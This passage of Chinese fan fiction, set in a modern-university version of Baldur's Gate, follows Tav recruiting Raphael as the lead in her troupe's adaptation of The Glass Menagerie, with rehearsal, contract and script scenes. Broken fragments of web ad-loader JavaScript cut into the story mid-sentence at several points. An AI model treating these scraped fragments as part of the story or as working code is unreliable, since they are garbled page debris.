“没问题!”里萨已经爬上半截梯子,快活地大声回喊道。 塔夫心情有些复杂,为什么每个人都这么信心满满。不过她还是被剧团充满干劲的气氛感染,也跟着隐隐兴奋起来。 她带着拉斐尔来到观众席最后,可以看到舞台,但不会影响排练。 拉斐尔挑了下眉:“独角兽本兽?” 塔夫也有些好笑:“她是在夸你。” “因为剧团叫屋顶上的猫,所以你们的剧本也和动物有关?” “不。”塔夫更加好笑,“这其实是一个挺严肃的故事。” “哦?名字是什么?” “……玻璃动物园。” 拉斐尔看着塔夫,眉毛扬得更高。 “……那是一个比喻。象征。和你的独角兽一样。” 塔夫说完突然有些遗憾,“我错过了一个机会。来之前我应该告诉你,剧团里的每一个人都用动物相互称呼,看看你会给自己起什么绰号。” 她忍不住模仿起拉斐尔的语气,“比如你介绍自己的时候,‘初次见面,你可以叫我独角兽’。这得多有意思。” “相当蹩脚的模仿。”拉斐尔评价道,不过语气并没有不快,“以及,因为剧团的名字,如果我真的需要起一个昵称,那我大概会选择一种猫。” “比如虎斑猫?” “也许是翼猫。” “诶?你也有翼猫?!”塔夫声音明显兴奋起来。 “也?你养了一只翼猫?” “我从来没有见过。我看过图片,还有一比一还原的模型,不过从来没有见过真的。如果有机会的话,不需要养,只是瞧瞧就很好。” “那‘也’的意思是,这部剧里有翼猫?” “不,是盖尔教授提到他有一只翼猫。”塔夫说。拉斐尔显然是在提醒她回归重心,她轻咳一声,不再闲聊,“我来简单介绍一下这部剧。” 拉斐尔弯起唇:“终于。” 塔夫笑着瞥他一眼,继续说: “这原本是一个家庭的三个成员——母亲,儿子,女儿,都试图逃避现实和痛苦,自欺欺人地活在幻梦中,但最后幻想全部破碎的故事。我们做了些改编,整个故事围绕女儿展开,也给结尾增加了一些希望。 “没有冒犯的意思,不过这个家庭的悲剧大部分来自贵族背景的母亲。 “她少女时期漂亮优雅,生活优渥,追求者众多,却选择了一位只是长相英俊的丈夫。被抛弃后,她陷入经济困境,为抚养子女不得不亲自工作。对于贵族来说——如果我理解错了请纠正我——这是一件非常不体面的事。” 拉斐尔没有就贵族说什么,直接评价故事道:“在戏剧中被抛弃的女人,简直比在巴尔惨案中死去的还要多。” “噗。”塔夫笑出声,“我要把这个记下来,回去说给我妈妈听。她会喜欢的。” 拉斐尔挑了下眉毛,瞧着塔夫:“……?” “这不是讽刺。我真的是这个字面上的意思。”塔夫忍着笑,“我母亲最喜欢的笑话是类似:‘我丈夫说,为了能让我感到快乐,他会做任何事。所以,我以后会很想念他的。’这种,有点黑色幽默的笑话。” “我猜她也喜欢屋顶上的猫?” “非常。” “你刚才那是模仿你母亲的口音?” “哈哈,有一点。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“听上去,她来自泰瑟尔?那里离博德之门可是非常远。” “是的!你能听出来?看来我模仿得还不错!不过她很久之前就搬到……” 塔夫顿住了。 她想起上次和拉斐尔聊起自己的事,结果第二天剧团活动就出现意外。 她并不怀疑,如果拉斐尔想要调查,他还是能找到她所在的社团。但是,她不想再次感到懊恼自责——是自己毫无防备地把信息送给对方,而那信息又转而成为攻击她和她身边人的箭矢。 居然差点忘记拉斐尔是怎样的人,以及他拥有怎样的魅力。塔夫像是忽然惊醒,她之前经历过,也才观察到团员的反应,没想到还是会不知不觉地被他吸引,吐露更多。 “我们还是先继续讲这出剧里的人物,”塔夫生硬地中止了说到一半的关于贾希拉的事, “说回戏剧里的母亲。因为过去和现在差距过大,她沉湎于回忆年轻时受人追捧的淑女生活,对子女充满控制欲,期望他们能成为像她一样的‘贵族’。 “她的儿子渴望成为诗人过着浪漫的生活,厌烦母亲的规训。他白天做着无聊的工作,晚上则去酒吧或歌剧院看一整晚的歌剧消磨时间,想要逃离却又放心不下妹妹。 “女儿因幼时疾病轻微跛足,性格腼腆羞涩,在母亲希望她嫁个好人家的愁恼中,变得更加自卑脆弱,与外界隔离,只关心收集的玻璃雕刻动物,沉浸在这个透明的、没有欺骗的、她心目中的理想世界,‘玻璃动物园’。 “以及从来没有出现过的父亲,英俊而富有魅力的吟游诗人,十六年前抛弃妻子和儿女离家出走,再也没有音讯。” 塔夫一连介绍完这个家庭里的所有成员,这才停下喘口气。 拉斐尔没有打断她,仿佛也没有注意到她刚才突兀地转换话题,此时问: “我将扮演……这位父亲?” “还有最后一个角色。”塔夫清了下嗓子,继续道, “在所有玻璃收藏品中,女儿,萝拉,最喜欢的是独角兽。那是她的精神寄托,也是她喜爱的男生的象征。 “萝拉内心敏感,无限放大了自己的残疾,认为她受到所有正常人的嘲笑和轻视,最严重的时候甚至会因为过分紧张而呕吐,多次辍学。唯一暖色的记忆,是高中时期的一位男生。 “改编后,这位男生成为了男主角,也就是你。” 塔夫看到拉斐尔脸上露出一个类似嘲弄的表情,心里一跳。这是什么意思,不过如果拉斐尔反感角色不愿意出演的话,对她来说并不是一个坏消息。 可不等她询问,菲拉已经朝她招了招手:“塔夫?你们准备好了吗?” “这就来!”塔夫又想起什么,回头问拉斐尔,“对了,你还记得导演的名字吧。” “阿菲。” “……是菲拉,或阿尔菲拉。”塔夫轻轻摇了摇头。拉斐尔果然还是那个拉斐尔。 . 虽然塔夫没来得及细说,但这出剧情节并不复杂,初次见面的场景也很简单。 听到即将到来的社交舞会的消息,女主角萝拉惊恐发作,一个人躲在卫生间隔间,直到同学都离开才敢回到走廊。却听到一个男生说起她,语气和善地称她为“蓝色玫瑰”。 金色的夕阳中,萝拉认出他是一起上音乐课的同学吉姆,被他吸引了。 这个场景下,拉斐尔似乎很适合这个角色。按灯光师里萨的话来说,本人自带光影效果。他甚至不需要做什么,只是站在舞台上,观众就能够理解萝拉为什么会被他吸引。 然而,塔夫却在菲拉身边说:“这不对。这不太对。” . 18. 合理 男女主初见的场景结束,舞台上排练继续。 塔夫瞥见拉斐尔去了后台,皱下眉,仍先和菲拉讨论着不妥: “萝拉性格害羞,因为男生语气温柔,所以才会被他吸引。拉斐尔那样子,萝拉只会更加羞怯,直接逃走。” 菲拉不同意:“哪怕拉斐尔同温柔没有任何关系,萝拉一见钟情爱上他也一点不令人感到奇怪。” 塔夫:“可这不符合萝拉的害羞性格。” 菲拉:“你也看到了刚才效果。他完全就是存在于幻想中的被美化的形象。” “但拉斐尔气质不合适。对之后的剧情发展……”塔夫说着顿住。 菲拉笑着接上:“也能解释得通。他很迷人,但又不那么容易接近。” 塔夫一时想不出反对的话。这样一说,简直像是为拉斐尔量身打造的角色。 菲拉轻叹:“希望他表演不好的一面时,也能足够令人信服吧。” 塔夫:“……”你是在开玩笑吗? 不过菲拉显然是认真的:“因为有他在场,每个人都更投入卖力,想要把最好的一面展示出来。他可真是有让人变得更好的神奇魔力。” 塔夫瞧着菲拉:“最好的一面?你也是吗?你之前可是……” 菲拉突然对台上大声说:“母亲声音里的颤抖更明显一些,对萝拉说‘许~愿~’的时候!里萨灯光暗一点,这里需要的是弦月效果!没关系!继续!” 塔夫:“……”话题岔开得比她还生硬。 菲拉已经继续严肃道:“你去准备下,接下来哥哥的戏份暂时需要你来顶。” . 虽然跳过了拉斐尔的重头戏,但这次排练仍比上次顺利许多。整个剧团,似乎只有塔夫一个人觉得哪里怪怪的。 她看到拉斐尔和每个人都能聊得来,包括道具组,甚至还爬到高处,和里萨不知道说了什么。但她总能时不时地感到他的观察,毫不掩饰,仔细而又玩味。这让她更加疑惑当初为什么要做这个决定——把拉斐尔放在自己身边。 而菲拉已经开始同她兴奋地讨论起来,为了拉斐尔,她们要如何调整剧本,包括最重要的那场对手戏,以使情绪和逻辑更加合理。 塔夫几乎感到恼火,萝拉才是无可争议的故事的中心,光彩却仿佛已经被拉斐尔掩盖,而他甚至不在舞台上! 难道自己在嫉妒吗?拉斐尔来的第一天,就已经赢得所有人的好感。她明明才是剧团团长,投入了许多时间精力在这部剧上。塔夫忍不住又想起拉斐尔曾说的权力和权威,她其实比自己想象中的更在乎这些? “你还好吗?”菲拉忽然小声问,顺着她的视线看向拉斐尔,“你一直皱着眉,你其实不希望他加入?” 塔夫一凛:“我只是,还是有些担心……演出本身。” 同往常一样,菲拉立刻接受了她的解释:“我又在乱想了。明明是你介绍拉斐尔来的。” 塔夫只能勉强点点头。 . 这古怪的感觉持续了一整个下午,直到排练结束。 “下一次排练前,可以请拉斐尔你熟悉一下剧情吗?”菲拉在结束后问,“我们可以找时间……” 拉斐尔回说:“塔夫会为我说明。” 塔夫正在帮里萨和道具组收拢灯光和布景,闻言抬起头:“什么?我?”她立刻强迫自己微笑,“当然。”她可以闻到空气中弥漫的好奇,但没有人问任何问题。 拉斐尔也弯起唇:“那么,我们几天后再见。” 像是被按下什么开关,原本在收拾的团员很快道别离开,最后只剩塔夫、菲拉和拉斐尔三人。 排练后,菲拉总是会和塔夫一起走并聊聊剧,这次显然也是这样计划的。她看上去有些意外拉斐尔仍在但又没有那么意外,表情纠结了会还是问:“一起去自助餐厅?” 塔夫:“好。” 拉斐尔:“不。塔夫要和我单独聊聊。” “为什么?” “必要协助。” “一定要是今天?” “至少定下时间。” 不等塔夫说出“那并不需要单独”,菲拉已经朝他们告别:“拜拜!下次见!我想起我要找里萨说点事!” 塔夫慢慢呼出一口气,既搞不清自己现在的想法,也不猜不出拉斐尔到底在搞什么鬼。不过沉默没有持续多久,拉斐尔提出邀请:“一起去河边走走?” 塔夫忍不住问:“你在计划什么?” 拉斐尔轻笑:“为演出成功所做的准备。” “你在暗.地.里.计划什么?” “有趣的问题。”拉斐尔看着她,“你似乎对我存在强烈的偏见。” 是偏见吗?还是正确看法? 但很显然,剧团其他人对拉斐尔的看法和她是不同的。想到才刚过去的一下午排练,塔夫忽然不确定起来。 她并不认为自己对拉斐尔的审慎没有依据,可如果他们接下来几个月都会一起排练,过于明显的反感和敌意,对她自己、对整个剧团和演出,都没有什么帮助。 塔夫咬了下唇,最后只说:“我们走吧。” 拉斐尔也没有纠缠,为她推开门:“请。” . 小剧院西翼离冲萨河很近,两人很快走到滨河步道。粉白花树下,仍是拉斐尔先开口说:“我很惊讶你是……” 他还没有具体说什么,塔夫已经讥诮问道:“这是你的口头禅吗?” “不。”拉斐尔望着她,“不过,我的确在你面前表达过不少次类似的意思。我简直要被你迷住了。” 哪怕知道他这话不能字面理解,塔夫还是被拉斐尔打了个措手不及,抿抿嘴装作没听见:“你又在惊讶什么?” “你在剧团的位置。”拉斐尔说,“你是剧团团长,我以为你会是聚光灯下的主角,或是同样被关注的导演,没想到是舞台监督,还兼职演出、技术和布景。” “你想说,大号打杂工?” “我想说的是多才多艺,以及谦逊务实。” 塔夫一怔,拉斐尔又说:“我猜,剧本也是由你挑选和改编的?” “我……和菲拉一起。” 拉斐尔微笑:“你为什么选择这个故事?” 塔夫眯了下眼睛:“你为什么问这个?” “为了演出。我需要了解你想表达什么。”拉斐尔声音变得更加迷人,“当然,我也想要了解你。” “得了,拉斐尔,别再演了!”塔夫起了一身鸡皮疙瘩,忽然也不想再忍耐,“我知道你一直在观察我。你在看我的笑话。因为你知道,我向你提出这要求,是想要看你的笑话!” 见拉斐尔扬起眉,塔夫立刻又悻悻道,“也别再说我令你感到惊讶了。” 已经说出第一句,接下来的话就变得更加容易,塔夫一边梳理想法一边继续说:“我承认,我发现你对舞台表演的态度并没有多喜欢,所以我决定让你也吃点苦头。” “我理解你。”拉斐尔没有任何恼怒,反而慢条斯理地笑着说,“没有什么比不幸、以及随之而来的挣扎更令人着迷了。” “什么?不!我可没有这种扭曲的爱好!” “你选择了这样一个剧本。你是喜欢的。故事里的角色忍受着痛苦,为尊严挣扎,哪怕是拼命维持一个虚假的幻想,这不是很令人感动吗?” “……”塔夫觉得自己被说服了却又没有被完全说服。 拉斐尔笑意更浓:“也许,我们的相似之处,要比你想象中的更多。” “我能够理解你说的…… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 我是指关于不幸和尊严,而不是我们有多相似!”塔夫顿了下,“只是,为什么从你口中说出来感觉这么奇怪?” “因为你对我存在偏见。对我说出的话便存在抵触。” 又来。塔夫终于忍不住白他一眼:“那也是有原因的。” “你说的没错。” 塔夫以为拉斐尔会为自己解释,没想到他直接承认了,不由诧异地看着他。 “或者不如说,这是无可避免的。我毕竟不是一本打开的书。”拉斐尔望着她的眼睛,表情变得认真起来, “每个人都只能看到一部分的我。兄弟会、威尔、剧团,也包括你。我不愿意承认这一点,但你比其他人看到的更多。这并非出于我的本愿,不过……” 他垂下眼,像是在寻找恰当的形容,终于又抬眼重新看着她,“竟然还挺令人愉快的。” 他的眼瞳里有她说不出的颜色和情绪。 这一定是因为夕阳导致的光线变化,塔夫这样告诉自己,却还是移开了视线。 “也许是因为你的反应总是出乎我的意料。”拉斐尔轻笑,“这使我想要让你看到更多。只是,我今天展示的,似乎和你想要看到的不太一样?” “我都说了我没有那种……爱好。”塔夫无奈瞥他一眼,“不过真要说起来,其他人应该都挺爱看的。” 拉斐尔没有说话,深深凝望她,仿佛在说他只在乎她的看法。 塔夫在心里唾弃一下自己,差点要被过于丰富的联想搞得脸红。拉斐尔这家伙,看每个人都要这么深情脉脉吗,她刚才已经有点眉目的思路也被他不知道岔到哪儿去了。 “谢谢你告诉我这些。不过,我还是更想谈谈……”塔夫清了下嗓子,“我昨天的那个提议。” “是我们之间的契约。”拉斐尔纠正说。 “是的,我们,契约。”塔夫莫名有些烦闷,“但无论是提议还是契约,我的最终目的都是确保这次演出成功。出于各种原因,我要求你亲自参加表演……”然而说到这里,她再次顿住。 她说不清自己的想法,也许是因她不想弄清楚? “你后悔了。”拉斐尔像是看穿她。 “……是的。” 拉斐尔眼睛微微睁大,看上去再次因为她感到意外。 “是的。我后悔了。”塔夫重复一遍,“我认为我之前的一些想法并不妥帖。” “我很遗憾,塔夫。”拉斐尔慢慢收回表情, “但直到完成,契约恐怕无法终止,更不会只是因为你感到后悔,就能够随意修改。”居然已经准备放弃、决定认输了吗。如果是这样,那还真是令人失望。 塔夫垂下眼,心里却松了一口气, 感谢拉斐尔,她终于能够承认,她后悔了,她并不满意,昨天做出决定的落脚点并不是她想要的。 因为威尔的事,她始终把拉斐尔视为潜在的对手和威胁,和他签订契约的时候也是充满对抗。而这一情绪和状况更是延续到现在。 也许她终于可以努力翻过这一页,试着把拉斐尔当作一个合作的对象——特别是在那契约很有束缚力的情况下。 哪怕无法合作,她也应该想办法更好地使用他才是,而不是像今天下午这样。 拉斐尔沉默看着她,没有打断她的思考。 “不需要终止。”塔夫抬眼重新看向拉斐尔,“我需要你的帮助使演出成功。” 拉斐尔俯视着她,示意他仍在听。 也许因为接下来的话太过正经严肃,塔夫几乎有些脸红, “我今天似乎还没有正式向你介绍过我自己。我是塔夫,剧团团长,欢迎来到屋顶上的猫。” 她朝拉斐尔伸出手,“接下来几个月,希望我们合作愉快。” . 19. 合作 拉斐尔望向塔夫的眼睛。 他看出她在剧场时的犹豫和不安,也看到她刚才被自己的话动摇。他的确有兴趣观察她的反应,留在剧团亦是他想要的结果,但这结果却不是因为他的影响。 恰恰相反,她干脆地承认了后悔,却又把那后悔立刻丢开,没有停顿地宣告她已经做好准备重新出发。 合作?她在试图主导方向。 塔夫手仍伸在半空。 她抿了抿嘴,再次开口时声音似乎带上些颤抖和不确定:“我的意思是,之前发生的就……” 拉斐尔弯起唇,握住她的手:“合作愉快。” . 塔夫放下羽毛笔,忍不住观察起自己的手。 是她的手,和往常一样,无论是掌心纹路,淡青色的血管,还是出于习惯修剪得短短的指甲。 让她感到意外的是拉斐尔的手。她以为贵族的手都会是经过精心保养,皮肤吹弹可破的,毕竟,拉斐尔连羊毛的好坏都摸得出来。 ——当然,也可能是因为她的毛衣掉毛,所以明显算不上质量好。 不过没想到,拉斐尔掌心和手指都有一层薄薄的茧,集中在手指根部附近,相触时可以明显感觉到,那大概是划船训练的结果。 而且,他的手居然比她的大那么多。 “你在傻笑什么?”影心问。 “诶?”塔夫下意识摸了下唇边,居然真的是上扬的,“没什么。” “这已经是你第三次盯着手看了。上面有什么?不会是神明留下的印记吧。” 塔夫叹了口气:“还记得我几天前问你拉斐尔的事吗?” 影心立刻丢开正看到一半的书:“你追到他了!?” “恶!不!追他?!”塔夫大脑空白数秒,这才把话说完,“我把他拉进了社团。” “哈?你是指屋顶上的猫?”得到确认,影心笑起来,“我之前以为你看上拉斐尔这个人,原来只是相中他的技术。” “为什么你这话听着这么有歧义?” “外型,演技,吸引观众。”影心摇摇头,“以上任何一种都有可能。是你自己偏要往歪处想。” “你故意的。”塔夫更加确信。 “……是的!我特意的。”影心笑着躲开呵痒,反攻回去,“你居然能把这件事憋一晚上?要不是我发现你总看手,等等,你不会是物理上地强拉他进社团吧?” “说来复杂。”塔夫终于还是说出这句话。 她之后同拉斐尔讨论了下——她单方面的讨论,因为拉斐尔的态度是不在乎,随便她怎么解释都可以。于是她决定照实说,但匿去威尔和那位学生: “涉及到第三个人、还有第四个人,所以我没办法说得太详细。我算是帮这个第三人解决了些麻烦……” 她说着说着觉得不太对,“其实更像是第三人帮了我。总之,最后的结果是,我可以让拉斐尔帮我一个忙。正巧剧团男演员退出,我便邀请他来屋顶上的猫顶替。” “就这些?” “就这些。” “派对那天呢?我是说有赛艇比赛那天的派对。” “那是一个意外。” 影心瞧了她半天,最后只是唔一声:“好吧。” 塔夫反而忍不住问:“你怎么看?” “为什么这么问?” “不知道什么原因,我总觉得有哪里不太对。好像在我看不到的地方,有什么我不知道的事正在发生。” “他是来帮你解决问题的,不是吗?”影心坏笑起来,“和约会相比,演出也是提供身体和时间。而就我所知,他的售后评价都不坏。” 塔夫无奈瞥她一眼:“你怎么又来了!” 被影心提醒,她倒是站在拉斐尔的角度重看一眼。加入剧团比约会持续时间更久,花费精力更多。如果不是因为威尔从中斡旋,他肯定不会接受。 塔夫低下头再次看着掌心。希望接下来合作一切顺利。如果能找到让拉斐尔留下来的其他理由,她应该会觉得更稳妥一些。 . 在塔夫看不到的地方,拉斐尔正和哈勒普下兰斯棋。 他移动骑士,吃掉哈勒普的牧师,掌心握着细腻的象牙棋子,却重新想起塔夫。 他以为女孩子的手都是纤细柔软的。塔夫的手虽然比他小两个号码,温暖却并不柔弱:指腹掌心都有薄茧,相握不过几秒,他便能感到同她本人一样的、带着股坚定的劲头。 她似乎真的是在农场长大,从小帮忙农活,照顾动物。 她都会照顾什么动物?羊?马?也许家里还养了几只猫? “我已经走过,该你了。”哈勒普在棋盘边缘敲了敲,“倒不是催促。只是你这样子让我有些紧张。在我看不见的地方,我已经输掉吗?” 拉斐尔抬起眼:“很多次。” “……” “以不同的方法。” 哈勒普重新凝视棋盘,最后站起身:“真没劲。今晚就到这里好了。” 拉斐尔仍坐在那里盯着掌心棋子。哈勒普弯下身,准备挑本诗集打发时间,又听到他问: “在哪里可以找到翼猫?” “哈?翼猫?”哈勒普回过头,“你什么时候开始对那种长着翅膀还很自以为是的家伙感兴趣了。” 拉斐尔终于望向哈勒普。 “我不是有意指魔鬼。”哈勒普微笑补充,“翼猫更糟,毛茸茸的,还会掉毛。” “我知道翼猫的模样。” “博德之门外的珍奇动物园有鹰头马身有翼兽和枭熊,但似乎没有翼猫。”哈勒普食指点着下巴,“当然可以悬赏,不过这种珍奇动物都是可遇而不可求,不见得比梦魔常见多少。 “我知道盖尔有一只。”拉斐尔说。 “你是指盖尔·德卡里奥斯教授?” “你应该仍记得他的样子。” “很难忘掉。”哈勒普笑容更加明显,“啊哈,又是不小心的一语双关。我这句话的意思是,夸赞我自己的记忆很好,虽然我承认盖尔长得是挺不错。” “我要同他问问看。现在时间不算太晚。” 哈勒普狐疑地扫了拉斐尔一眼,还是变成盖尔的模样,适应一会后,又模仿盖尔常做的事——欣赏地摸摸下巴上整齐的胡子:“已经建立通感连接。” 拉斐尔站起身,拍拍他肩膀,又在颈后轻轻捏了两下。 “拉斐尔?!是你吗?”哈勒普口中冒出盖尔的声音。 “盖尔。”拉斐尔肯定地唤对方的名字。 “别再没有任何提前预示地这么联系我了。”盖尔声音越来越高,“我正在研究酥皮的起酥程度与温度和空气流动的关系,刚才差点炸掉深水城半个城区。字面意义上的。” “我可以借你的翼猫吗?”拉斐尔跳过寒暄。 “借?我会避免在塔拉面前用‘借’这个字眼——塔拉是她的名字,如果你还记得的话——她绝对会把这当作是对她的极大的不尊敬。” “我可以‘接’她,在博得安大学转转。” “如果你想要来深水城‘拜访’她的话,我倒是可以帮你问问看。不过,需要等到夏天。她最近在,咳嗯…”盖尔放低声音,“…掉毛。这刚刚重新荣登她最讨厌的单词排行榜榜首,并会迁怒所有提到这个词的人,比如冲那个人的头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 发或胡子吐火球。我觉得她需要一个同类伙伴来……” “替我向太太,还有你的头发,问好。” “这是什么意思?我可没有失去一根头发,或胡子。” 拉斐尔摇摇手指,示意哈勒普可以停止了。 “他的话可真是又多又密又快。”哈勒普舒展下身子,呻/吟一声懒洋洋躺倒在沙发上,“不过我说的没错,翼猫,每一只,都是性格恶劣的小毛球。” 对此拉斐尔只是嗯一声:“明天派人去博德之门珍奇动物园问问看,没有的话请散塔林会留意,并在精灵之歌公布悬赏。” “明天就去?”哈勒普一下又坐起身,“你怎么突然对翼猫有了这么大兴趣?” “因为……”拉斐尔却顿住了。 哈勒普耐心瞧着他。 “我加入了屋顶上的猫。”拉斐尔说,“翼猫,屋顶,非常相衬。不是吗?” “大概挺合适?”哈勒普忽然意识到什么,“那不是塔夫的剧团吗?” 隔了几秒,拉斐尔才说:“是的。” 尽管拉斐尔没有同他细说过契约,但想起这几天的事以及梅菲斯特的话,哈勒普很快拼凑出更多猜测,却只是笑着问:“你终于决定试试剧团表演了?” “为什么说,终于?” “你一直挺感兴趣的。”哈勒普说。 “我的确会社交性地观看一些歌剧。” “你洗澡的时候会唱歌。”哈勒普给出第二个理由。 “每个人都会。” “你从没有见过或听过别人洗澡。”哈勒普使出杀手锏。毕竟,哪怕在学校运动队,拉斐尔的更衣室和沐浴间仍是单独的。 拉斐尔轻轻挑下眉:“你呢?” “……我会。”哈勒普磨了磨牙,拉斐尔那表情明显是他知道这个答案。 哈勒普又想起厨师戈登洗澡时的走调哼唧和管家的起伏念白,表情变得更加挫败,不过很快重新笃定道:“但是相信我,有很多人不会。比如,你父亲。” 自己怎么提起了卡尼亚大公。哈勒普看到拉斐尔严肃起来,尽量让语气变得轻快: “不管怎么说,这是个很好的机会,说不定你会觉得挺有意思。” “我加入屋顶上的猫,并不是为了享受演出的乐趣。”拉斐尔皱起眉。 是因为契约。 当然更是为了让塔夫真正向自己低头。 他已经向塔夫暗示了“自己”的弱点——或者说“威尔”的弱点,告诉她她是特别的,并邀请她走近自己。虽然暂时没有直接效果,不过他相信塔夫听到了,而且接下来他还有很多机会。 哈勒普看着拉斐尔眉心,又想起梅菲斯特昨天的态度,最后简单说:“翼猫的事,我会请人留意。” . 直到睡前,塔夫仍没想出能让拉斐尔更加投入剧团的其他办法。只能寄希望他对自己的“兴趣”以及更重要的契约本身,足够维持这关系到两个月后的正式表演。 也许她还是应该回到最开始的思路,通过减少拉斐尔的参与程度,来控制他带来的风险。 但他却偏偏是男主角。 尽管有些无奈,塔夫仍是花了一晚上誊抄一份新的剧本。 对于拉斐尔来说,只是简单的一句他会加入演出,对她来说却包括额外解释、抄写准备、以及同菲拉的剧本讨论和修改调整。而她意外发现自己已经有了不少想法。 终于书下最后一个句点,塔夫伸直手臂又转了转手腕。 酸胀很快消失,可隐隐兴奋却没有减退。也许就连她自己都没有意识到这一点,她其实是有点期待的。 . 20. 剧本 如果说塔夫昨晚有任何期待,也很快被等待消磨得一干二净。 她和拉斐尔这次约在赛艇队“庄园”。守卫客气地请她稍等,在她感到无聊并再次无法理解这种安排时,意外见到一张熟悉面孔。 ——米佐拉。她今天没有骑马,不过仍穿着骑装和马靴。 塔夫冲她挥手:“又见面了。” 米佐拉扬起眉,有些惊讶的模样,很快又微笑问:“看来,你打破了死循环?” 塔夫也笑了,接着摆出一脸无奈:“可是进入了等待区。” “这也是他们的另一个小把戏。”米佐拉同守卫说了自己名字,又对塔夫道,“等待与期望,能使接下来的见面变得更加值得珍惜。而且,因为你知道那一刻很快就会到来,越临近就越会感到兴奋。” “是这样?”塔夫感觉完全相反,“可我等得时间越长越厌烦,恨不得转身离开。” 米佐拉眉尾本就上挑,此时扬得更高,眼睛望向远处:“你可以把这看成一种筛选,或许也可以当作一种训练。” 塔夫莫名感到不快,皱起眉,又顺着米佐拉的目光看到一位穿着银色马甲的男侍,正朝二人——更准确地说,只能是朝自己——走来。她重新看着米佐拉: “我不确定我理解了你的意思。” 米佐拉笑了。那笑容里带着种塔夫说不太出却有些熟悉的态度,像是轻慢和嘲弄。 不过塔夫不觉得那是在针对自己,继续问:“筛选和训练之后才能见面?听上去像是他们在怕什么。” “也许恰恰相反。”米佐拉转过头,这次多了几分打量, “我的建议不请自来,免不了会惹人生厌。不过,如果你是要同拉斐尔打交道的话,我接下来的话绝非毫无用处:有的时候,你期望得越少,得到的可能反而越多。” 男侍已经来到大门前,邀请塔夫一起进入。 “再会。”米佐拉弹动手指,看上去并不好奇塔夫的回复。 “希望下次是在别的场合。”塔夫与米佐拉告别,随男侍去往俱乐部,心里仍是疑惑。 恰恰相反?是想让她感到害怕?此外,如果要别人等待是一种训练,拉斐尔昨天提前那么多去盖尔教授那里,岂不是自己主动训练自己? 塔夫对米佐拉第一印象挺不错,哪怕这次对方打起哑谜,她仍觉得那些话和建议是真诚的,只是她需要更多解释。毕竟,米佐拉成长背景和她明显不同,二人想法不一样很正常。 她一时也猜不出米佐拉是如何判断她是来见拉斐尔的,但对方最后那句,可以理解成同拉斐尔一样的“别那么贪婪”,也可能是要她放松做自己。而按照她所知的拉斐尔的恶劣性格,一个人表现得越真实,对拉斐尔来说可能越有趣,也许真的可以得到更多。 自己就是个再好不过的例子。 因为拒绝了拉斐尔,“报酬”从一开始的三万金币,到最后那次哪怕现在想想都还十分诱人的机会。 虽然说这建议是在教她怎么讨好拉斐尔,塔夫却讨厌不起来米佐拉。无论谁来看,她都是有求于人的一方。米佐拉的出发点应该是想要帮她。 那么,刚才令她感到不快和厌烦的,当然只能是拉斐尔了。 . 穿过庭院,塔夫被带入府邸一道侧门,又走过一条不长不短的走廊,这才来到一间大概是会客室的房间。 房间里很宽敞,深色的厚重木质家具,还有两扇合上的门。 加上她身后那扇,四面墙,三道门。 真的是在害怕什么、准备随时逃跑吗?塔夫忍不住好笑,打招呼时露出一整排牙齿:“早上好。” 拉斐尔坐在长沙发上,视线和她相汇,也跟着微微弯起唇角:“这次很准时。” 他完全不知道她在笑什么。塔夫垂下眼,想要止住笑却发现这很困难,又听到拉斐尔问:“喝点什么?咖啡、茶、果汁,冰桶在……” “不用了。不过还是谢谢。”塔夫终于抚平嘴角,在拉斐尔邀她坐下时,有机会仔细瞧眼那沙发。造型古典,弯弯的扶手雕刻成羊角,看上去更像是软榻。她便说,“桌子那里应该会更方便。” 拉斐尔一动不动。 塔夫又问:“介意我坐椅子吗?” 拉斐尔点了下头。 “你的意思是,我可以?” 拉斐尔终于开口:“是的。” 椅子比她预想中重不少,但搬起来还算轻松。塔夫贴着沙发扶手一侧放下椅子,找出那卷簇新的剧本递给拉斐尔。他接过时顺势挪了下位置,手臂自然搭在扶手上。 塔夫坐下才发现,自己同拉斐尔挨得很近,只要稍稍倾身,就会碰在他胳膊上。 “那剧本不是完整的,只详细写了你的几场戏,其他都是概述。”塔夫把椅子抬远半步,重新坐下,“初遇那场你已经知道,第二场是吉姆带领学校合唱团拿到奖杯,令萝拉更加着迷……有什么问题吗?” 见拉斐尔表情微妙,塔夫立刻反应过来:“萝拉是女主角,你是吉姆。”她决定还是多说两句,“不仅仅是剧本里角色的名字,剧团大家的名字,也请你记一下吧。” “我记得角色的名字。”拉斐尔顿了顿,“如果你有剧团人员表的话,另一件事也并不困难。” 塔夫暗忖提供名单给拉斐尔这可不是个好主意。她一时口快,倒忘记自己其实希望他别参与太多。 如果他不是因为记不得名字?塔夫又琢磨下拉斐尔刚才的表情,再次恍然:“合唱团的演唱是演出的一部分,而你会是主唱。” 既然已经决定同拉斐尔合作,塔夫便没有直接提把原本的男演员找回来,商量道:“我理解这并不容易。” 表演是一回事,唱歌则是另一码。脸好不代表嗓子好。塔夫觉得自己很贴心,先强调说:“这段演唱是为了凸显角色魅力,是吉姆的高光,不能修改。” 接着又立刻安慰说,拉斐尔不知道具体内容之前,就被硬推上主角的位置。如果他现在想要改变主意,她以及剧团其他人,一点也不会感到吃惊,更不会责怪他。 拉斐尔脸色越来越冷:“继续说剧本。” 塔夫扁扁嘴,把几页乐谱和歌词翻了过去,又几个简单场景后,说起最后也是最重要的那场戏。 . 时间快进到萝拉毕业后几年,母亲为了把她嫁出去,命令儿子邀请适龄青年来家中晚餐。 萝拉认出来那人是自己暗恋多年的吉姆,回忆起他在学校时的受欢迎,并再次为自己的残疾感到羞怯。在吉姆的鼓励下,萝拉向他慢慢打开,展示了自己的玻璃收藏品,后来更是鼓起勇气,不顾腿疾,和他跳了一段华尔兹。 舞蹈中,独角兽被撞到地上,摔断了角。 吉姆连声道歉,萝拉却对他说,那只独角兽曾因为角而格格不入,现在它失掉了角,变成普通的马,终于可以融入玻璃马群,不再孤独。 吉姆欣赏萝拉的幽默,称赞她和其他人很不一样,并终于记起他当 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 